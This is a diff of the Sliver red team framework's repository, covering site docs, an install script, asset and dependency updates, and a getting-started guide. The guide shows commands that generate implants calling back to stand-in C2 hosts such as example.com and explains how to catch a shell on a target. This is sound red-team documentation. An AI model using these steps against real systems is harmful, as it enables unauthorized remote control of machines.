+      rb-inotify (~> 0.9, >= 0.9.10)
+    mercenary (0.3.6)
+    mini_portile2 (2.5.3)
+    minima (2.5.1)
+      jekyll (>= 3.5, < 5.0)
+      jekyll-feed (~> 0.9)
+      jekyll-seo-tag (~> 2.1)
+    minitest (5.14.4)
+    multipart-post (2.1.1)
+    nokogiri (1.11.7)
+      mini_portile2 (~> 2.5.0)
+      racc (~> 1.4)
+    octokit (4.21.0)
+      faraday (>= 0.9)
+      sawyer (~> 0.8.0, >= 0.5.3)
+    pathutil (0.16.2)
+      forwardable-extended (~> 2.6)
+    public_suffix (4.0.6)
+    racc (1.5.2)
+    rb-fsevent (0.11.0)
+    rb-inotify (0.10.1)
+      ffi (~> 1.0)
+    rexml (3.2.5)
+    rouge (3.26.0)
+    ruby-enum (0.9.0)
+      i18n
+    ruby2_keywords (0.0.4)
+    rubyzip (2.3.2)
+    safe_yaml (1.0.5)
+    sass (3.7.4)
+      sass-listen (~> 4.0.0)
+    sass-listen (4.0.0)
+      rb-fsevent (~> 0.9, >= 0.9.4)
+      rb-inotify (~> 0.9, >= 0.9.7)
+    sawyer (0.8.2)
+      addressable (>= 2.3.5)
+      faraday (> 0.8, < 2.0)
+    simpleidn (0.2.1)
+      unf (~> 0.1.4)
+    terminal-table (1.8.0)
+      unicode-display_width (~> 1.1, >= 1.1.1)
+    thread_safe (0.3.6)
+    typhoeus (1.4.0)
+      ethon (>= 0.9.0)
+    tzinfo (1.2.9)
+      thread_safe (~> 0.1)
+    tzinfo-data (1.2021.1)
+      tzinfo (>= 1.0.0)
+    unf (0.1.4)
+      unf_ext
+    unf_ext (0.0.7.7)
+    unicode-display_width (1.7.0)
+    wdm (0.1.1)
+    zeitwerk (2.4.2)
+
+PLATFORMS
+  ruby
+
+DEPENDENCIES
+  github-pages
+  jekyll (~> 3.9.0)
+  jekyll-feed (~> 0.6)
+  kramdown-parser-gfm
+  tzinfo (~> 1.2)
+  tzinfo-data
+  wdm (~> 0.1.0)
+
+BUNDLED WITH
+   1.17.3

docs/_config.yml

@@ -1 +1,42 @@
-theme: jekyll-theme-hacker
+# Welcome to Jekyll!
+#
+# This config file is meant for settings that affect your whole blog, values
+# which you are expected to set up once and rarely edit after that. If you find
+# yourself editing this file very often, consider using Jekyll's data files
+# feature for the data you need to update frequently.
+#
+# For technical reasons, this file is *NOT* reloaded automatically when you use
+# 'bundle exec jekyll serve'. If you change this file, please restart the server process.
+
+# Site settings
+# These are used to personalize your new site. If you look in the HTML files,
+# you will see them accessed via {{ site.title }}, {{ site.email }}, and so on.
+# You can create any custom variable you would like, and they will be accessible
+# in the templates via {{ site.myvariable }}.
+title: Sliver
+description: >- # this means to ignore newlines until "baseurl:"
+  Sliver is an open source cross-platform adversary emulation/red team framework.
+
+baseurl: "" # the subpath of your site, e.g. /blog
+url: "https://sliver.sh/"
+
+github:
+  latest_url: https://github.com/BishopFox/sliver/releases/latest
+  repository_url: https://github.com/BishopFox/sliver
+
+# Build settings
+markdown: kramdown
+theme: jekyll-theme-hacker
+show_downloads: true
+plugins:
+  - jekyll-feed
+
+# Exclude from processing.
+# The following items will not be processed, by default. Create a custom list
+# to override the default setting.
+exclude:
+  - Gemfile
+  - Gemfile.lock
+  - CNAME
+  - .gitignore
+  - _site

docs/_layouts/default.html

@@ -0,0 +1,39 @@
+<!DOCTYPE html>
+<html lang="{{ site.lang | default: "en-US" }}">
+  <head>
+    <meta charset='utf-8'>
+    <meta http-equiv="X-UA-Compatible" content="IE=edge">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <link rel="stylesheet" href="{{ '/assets/css/style.css?v=' | append: site.github.build_revision | relative_url }}">
+
+{% seo %}
+  </head>
+
+  <body>
+
+    <header>
+      <div class="container">
+        <a id="a-title" href="{{ '/' | relative_url }}">
+          <h1>{{ site.title | default: site.github.repository_name }}</h1>
+        </a>
+        <h2>{{ site.description | default: site.github.project_tagline }}</h2>
+
+        <section id="downloads">
+          {% if site.show_downloads %}
+            <a href="{{ site.github.latest_url }}" target="_blank" class="btn">Latest Release</a>
+          {% endif %}
+          <a href="{{ site.github.repository_url }}" target="_blank" class="btn btn-github"><span class="icon"></span>View on GitHub</a>
+        </section>
+      </div>
+    </header>
+
+    <div class="container">
+      <section id="main_content">
+        
+        {{ content }}
+
+      </section>
+    </div>
+
+  </body>
+</html>

docs/_layouts/post.html

@@ -0,0 +1,14 @@
+---
+layout: default
+---
+
+<small>{{ page.date | date: "%-d %B %Y" }}</small>
+<h1>{{ page.title }}</h1>
+
+<p class="view">by {{ page.author | default: site.author }}</p>
+
+{{ content }}
+
+{% if page.tags %}
+  <small>tags: <em>{{ page.tags | join: "</em> - <em>" }}</em></small>
+{% endif %}

docs/_posts/2021-07-07-getting-started.md

@@ -0,0 +1,143 @@
+---
+layout: post
+title:  "Getting Started"
+author: "moloch"
+date:   2021-07-07 09:01:33 -0500
+categories: sliver
+---
+
+# 1. Server Setup
+
+The first thing you'll need to do is setup a Sliver server.
+
+The server supports Linux, Windows, and MacOS however we recommend running the server on a Linux or MacOS host, as some features may be more difficult to get working on a Windows server. However, the Windows client should work just fine when accessing a Linux/MacOS server.
+
+Download the latest [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. The first time you run the server it'll need to unpack some assets, which may take a minute or two, subsequent start ups should be faster.
+
+__NOTE:__ Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable shellcode/staged payloads you need to install MinGW. To enable MSF integrations you'll need Metasploit installed.
+
+The `Dockerfile` build of Sliver is mostly designed to run the unit tests but includes both MinGW and Metasploit. If you plan to run the server using Docker you'll need to forward the appropriate TCP ports (e.g. 80, 443, 31337) yourself.
+
+
+### MinGW Setup (Optional)
+
+In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
+
+#### Linux
+
+```
+apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
+```
+
+#### MacOS
+
+```
+brew install mingw-w64
+```
+
+__Note:__ On MacOS you'll likely have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
+
+### Metasploit Setup (Optional)
+
+We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects version 5 or later.
+
+## Generating Implants
+
+Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
+
+```
+sliver > generate --mtls example.com --save /Users/moloch/Desktop
+
+[*] Generating new windows/amd64 Sliver binary
+[*] Build completed in 00:10:16
+[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
+```
+
+Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. WARNING: Some commands/features may not work on "unsupported" platforms.
+
+```
+sliver > generate --mtls example.com --save /Users/moloch/Desktop --skip-symbols --os mac
+
+[*] Generating new darwin/amd64 Sliver binary
+[!] Symbol obfuscation is disabled
+[*] Build completed in 00:00:03
+[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
+```
+
+The server will also assign codenames to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these codenames will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `slivers` command:
+
+```
+sliver > slivers
+
+Name                    OS/Arch        Debug  Format
+====                    =======        =====  ======
+CAUTIOUS_PANPIPE        darwin/amd64   false  EXECUTABLE
+LATE_SUBCOMPONENT       windows/amd64  false  SHARED_LIB
+RUBBER_PRINTER          windows/amd64  true   SHARED_LIB
+RACIAL_SPECTACLES       darwin/amd64   false  EXECUTABLE
+MATHEMATICAL_SASH       darwin/amd64   true   SHARED_LIB
+MUSHY_TRADITIONALISM    windows/amd64  false  SHARED_LIB
+SICK_SPY                darwin/amd64   false  EXECUTABLE
+```
+
+If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
+
+```
+sliver > regenerate --save /Users/moloch/Desktop/ NEW_GRAPE
+
+[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
+```
+
+#### Additional Details
+
+For addition details about each C2 please see:
+* [HTTP(S) C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2)
+* [DNS C2](https://github.com/BishopFox/sliver/wiki/DNS-C2)
+
+## Getting Shells
+
+Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a listener started with `https`). You can use the `jobs` command to view and manage listeners running in the background.
+
+```
+sliver > mtls
+
+[*] Starting mTLS listener ...
+[*] Successfully started job #1
+
+sliver > jobs
+
+ID  Name  Protocol  Port
+==  ====  ========  ====
+1   mTLS  tcp       8888
+```
+
+In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
+
+```
+[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (narvi.local) - darwin/amd64
+
+sliver > use 1
+
+[*] Active sliver PROPER_ANTHONY (1)
+
+sliver (PROPER_ANTHONY) > ls
+
+/Users/moloch/Desktop
+=====================
+.DS_Store                 6.0 KiB
+.localized                0 B
+PROPER_ANTHONY            6.3 MiB
+```
+
+
+## Multiple Domains/Protocols
+
+You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
+
+```
+sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
+```
+
+Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
+
+

docs/about.md

@@ -0,0 +1,18 @@
+---
+layout: default
+title: About
+permalink: /about/
+---
+
+This is the base Jekyll theme. You can find out more info about customizing your Jekyll theme, as well as basic Jekyll usage documentation at [jekyllrb.com](https://jekyllrb.com/)
+
+You can find the source code for Minima at GitHub:
+[jekyll][jekyll-organization] /
+[minima](https://github.com/jekyll/minima)
+
+You can find the source code for Jekyll at GitHub:
+[jekyll][jekyll-organization] /
+[jekyll](https://github.com/jekyll/jekyll)
+
+
+[jekyll-organization]: https://github.com/jekyll

docs/index.html

@@ -0,0 +1,11 @@
+---
+layout: default
+---
+
+<ul>
+    {% for post in site.posts %}
+        <li>
+            <a href="{{ post.url }}">{{ post.title }}</a>
+        </li>
+    {% endfor %}
+</ul>

docs/index.md

@@ -1,4 +0,0 @@
-# Sliver
-
-Implant framework
-

docs/install

@@ -0,0 +1,196 @@
+#!/bin/bash
+set -e
+
+SLIVER_GPG_KEY_ID=4449039C
+
+if [ "$EUID" -ne 0 ]
+  then echo "Please run as root"
+  exit
+fi
+
+if [ -n "$(command -v yum)" ]
+then
+    yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
+fi
+
+if [ -n "$(command -v apt-get)" ]
+then
+    DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
+        zip unzip gpg curl build-essential \
+        mingw-w64 binutils-mingw-w64 g++-mingw-w64
+fi
+
+# Curl
+if ! command -v curl &> /dev/null
+then
+    echo "curl could not be found"
+    exit 1
+fi
+# Awk
+if ! command -v awk &> /dev/null
+then
+    echo "awk could not be found"
+    exit 1
+fi
+# Zip
+if ! command -v zip &> /dev/null
+then
+    echo "zip could not be found"
+    exit 1
+fi
+# GPG
+if ! command -v gpg &> /dev/null
+then
+    echo "gpg could not be found"
+    exit 1
+fi
+
+cd /root
+echo "Running from $(pwd)"
+
+gpg --import <<EOF
+-----BEGIN PGP PUBLIC KEY BLOCK-----
+
+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
+=lxj2
+-----END PGP PUBLIC KEY BLOCK-----
+EOF
+
+#
+# Download and Unpack Sliver Server
+#
+ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
+SLIVER_SERVER_ZIP='sliver-server_linux.zip'
+SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
+SLIVER_SERVER='sliver-server'
+SLIVER_CLIENT='sliver-client'
+
+
+for URL in $ARTIFACTS
+do
+    if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
+        echo "Downloading $URL"
+        curl --silent -L $URL --output $(basename $URL)
+    fi
+    if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
+        echo "Downloading $URL"
+        curl --silent -L $URL --output $(basename $URL)
+    fi
+done
+
+echo "Verifying signatures ..."
+gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
+gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
+
+if test -f "/root/$SLIVER_SERVER_ZIP"; then
+    unzip -o /root/$SLIVER_SERVER_ZIP -d /root
+    rm -f /root/$SLIVER_SERVER_ZIP
+else 
+    exit 2
+fi
+
+if test -f "/root/$SLIVER_SERVER"; then
+    chmod 755 /root/$SLIVER_SERVER
+    /root/$SLIVER_SERVER unpack --force
+else
+    exit 3
+fi
+
+if test -f "/root/$SLIVER_CLIENT_ZIP"; then
+    unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
+    rm -f /root/$SLIVER_CLIENT_ZIP
+else 
+    exit 2
+fi
+
+if test -f "/root/$SLIVER_CLIENT"; then
+    chmod 755 /root/$SLIVER_CLIENT 
+    cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
+    chmod 755 /usr/local/bin/sliver
+else
+    exit 3
+fi
+
+# systemd
+echo "Configuring systemd service ..."
+cat > /etc/systemd/system/sliver.service <<-EOF
+[Unit]
+Description=Sliver
+After=network.target
+StartLimitIntervalSec=0
+
+[Service]
+Type=simple
+Restart=on-failure
+RestartSec=3
+User=root
+ExecStart=/root/sliver-server daemon
+
+[Install]
+WantedBy=multi-user.target
+EOF
+chown root:root /etc/systemd/system/sliver.service
+chmod 600 /etc/systemd/system/sliver.service
+systemctl start sliver
+
+# Generate local configs
+echo "Generating operator configs ..."
+mkdir -p /root/.sliver-client/configs
+/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
+chown -R root:root /root/.sliver-client/
+
+USER_DIRS=(/home/*)
+for USER_DIR in "${USER_DIRS[@]}"; do
+    USER=$(basename $USER_DIR)
+    if id -u $USER >/dev/null 2>&1; then
+        mkdir -p $USER_DIR/.sliver-client/configs
+        /root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
+        chown -R $USER:$USER $USER_DIR/.sliver-client/
+    fi
+done

docs/sliver.service

@@ -0,0 +1,14 @@
+[Unit]
+Description=Sliver
+After=network.target
+StartLimitIntervalSec=0
+
+[Service]
+Type=simple
+Restart=on-failure
+RestartSec=3
+User=root
+ExecStart=/root/sliver-server daemon
+
+[Install]
+WantedBy=multi-user.target

go-assets.sh

@@ -19,11 +19,13 @@
 
 # Creates the static go asset archives
 
-GO_VER="1.16.5"
-GARBLE_VER="1.16.7"
+GO_VER="1.17"
+GARBLE_VER="1.17.0"
+COFF_LOADER_VER="1.0.5"
 
 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"
+GO_ARCH_3="386"
 BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
 
 if ! [ -x "$(command -v curl)" ]; then
@@ -47,6 +49,7 @@ fi
 
 REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
 OUTPUT_DIR=$REPO_DIR/server/assets/fs
+CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
 WORK_DIR=`mktemp -d`
 
 echo "-----------------------------------------------------------------"
@@ -130,6 +133,10 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
 rm -rf ./go
 rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
 
+# --- Client ---
+mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1
+mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3
+
 echo "-----------------------------------------------------------------"
 echo " Garble"
 echo "-----------------------------------------------------------------"
@@ -138,6 +145,12 @@ curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/mo
 curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
 curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
 
+echo "-----------------------------------------------------------------"
+echo " COFF Loader"
+echo "-----------------------------------------------------------------"
+curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
+curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
+
 # end
 echo -e "clean up: $WORK_DIR"
 rm -rf $WORK_DIR

go.mod

@@ -1,6 +1,6 @@
 module github.com/bishopfox/sliver
 
-go 1.16
+go 1.17
 
 // fix wgctrl requiring old wireguard
 replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
@@ -8,23 +8,24 @@ replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311
 require (
 	github.com/AlecAivazis/survey/v2 v2.2.2
 	github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
-	github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2
+	github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
+	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
+	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
 	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
 	github.com/Microsoft/go-winio v0.4.16 // indirect
 	github.com/alecthomas/chroma v0.8.1
-	github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d
 	github.com/cheggaaa/pb/v3 v3.0.5
-	github.com/desertbit/closer/v3 v3.1.2 // indirect
 	github.com/desertbit/columnize v2.1.0+incompatible
+	github.com/desertbit/go-shlex v0.1.1
 	github.com/desertbit/grumble v1.1.1
 	github.com/fatih/color v1.12.0
 	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/gofrs/uuid v3.3.0+incompatible
-	github.com/golang/protobuf v1.5.2
 	github.com/google/uuid v1.2.0
 	github.com/gorilla/mux v1.8.0
 	github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
 	github.com/hashicorp/go-multierror v1.1.1 // indirect
+	github.com/jedib0t/go-pretty/v6 v6.2.4
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-socks5 v0.0.0-20210409090601-adbe23bd0194
 	github.com/lesnuages/go-winio v0.4.19
@@ -41,6 +42,7 @@ require (
 	golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
 	golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1
 	golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
+	golang.org/x/text v0.3.6
 	golang.zx2c4.com/wireguard v0.0.20200121
 	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
 	google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
@@ -54,3 +56,43 @@ require (
 	gorm.io/gorm v1.20.6
 	inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
 )
+
+require (
+	github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
+	github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
+	github.com/VividCortex/ewma v1.1.1 // indirect
+	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
+	github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
+	github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
+	github.com/davecgh/go-spew v1.1.1 // indirect
+	github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
+	github.com/desertbit/closer/v3 v3.1.2 // indirect
+	github.com/desertbit/readline v1.5.1 // indirect
+	github.com/dlclark/regexp2 v1.2.0 // indirect
+	github.com/go-sql-driver/mysql v1.5.0 // indirect
+	github.com/golang/protobuf v1.5.2 // indirect
+	github.com/google/btree v1.0.1 // indirect
+	github.com/hashicorp/errwrap v1.1.0 // indirect
+	github.com/inconshreveable/mousetrap v1.0.0 // indirect
+	github.com/jackc/chunkreader/v2 v2.0.1 // indirect
+	github.com/jackc/pgconn v1.7.0 // indirect
+	github.com/jackc/pgio v1.0.0 // indirect
+	github.com/jackc/pgpassfile v1.0.0 // indirect
+	github.com/jackc/pgproto3/v2 v2.0.5 // indirect
+	github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
+	github.com/jackc/pgtype v1.5.0 // indirect
+	github.com/jackc/pgx/v4 v4.9.0 // indirect
+	github.com/jinzhu/inflection v1.0.0 // indirect
+	github.com/jinzhu/now v1.1.1 // indirect
+	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
+	github.com/mattn/go-colorable v0.1.8 // indirect
+	github.com/mattn/go-runewidth v0.0.9 // indirect
+	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
+	github.com/pmezard/go-difflib v1.0.0 // indirect
+	github.com/spf13/pflag v1.0.5 // indirect
+	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
+	golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
+	golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
+	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
+)

go.sum

@@ -17,10 +17,15 @@ github.com/AlecAivazis/survey/v2 v2.2.2/go.mod h1:9FJRdMdDm8rnT+zHVbvQT2RTSTLq0T
 github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d h1:uq6FM7b88vkNEqwjyP2mK6oL8cymY5b75Luu6ADTStY=
 github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d/go.mod h1:rJLtHgGUqTxJbfg+b+LjWBBPuYUzFFza1LXFhrzfxHA=
 github.com/Binject/debug v0.0.0-20200621050044-63af8e405111/go.mod h1:6WgJ7mEG7ngJkNwwDkEVreDk2dPGg3oqdI6OEWaeDNg=
-github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 h1:8kQNJC9AxAaNs0JkXnWUfbNeDnIO1QLYYWjYqC6JEE4=
 github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
